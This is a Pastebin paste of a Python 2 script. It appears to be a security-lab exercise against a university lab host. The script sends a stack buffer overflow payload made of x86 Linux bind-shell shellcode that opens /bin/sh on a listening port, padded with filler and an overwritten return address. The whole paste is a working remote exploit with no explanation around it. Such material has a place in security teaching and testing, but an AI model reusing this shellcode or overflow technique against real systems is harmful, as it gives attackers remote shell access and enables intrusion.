Guest User

Untitled

a guest
Apr 24th, 2018
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.65 KB | None | 0 0
  1. import socket
  2.  
  3. host = 'seclab1.win.tue.nl';
  4. port = 1154;
  5. shellport = 1030;
  6. code = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e" +\
  7. "\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41" +\
  8. "\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80" +\
  9. "\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1" +\
  10. "\xb0\x0b\xcd\x80";
  11. print code;
  12. filler = "0"*(128-len(code));
  13. payload = code + filler + "\x4c\xec\xff\xbf" + "\0\n";
  14.  
  15.  
  16.  
  17. sock = socket.create_connection((host, port));
  18. sock.send(payload);
  19. result = sock.recv(4096);
  20. sock.close();
  21. print result;
Add Comment
Please, Sign In to add comment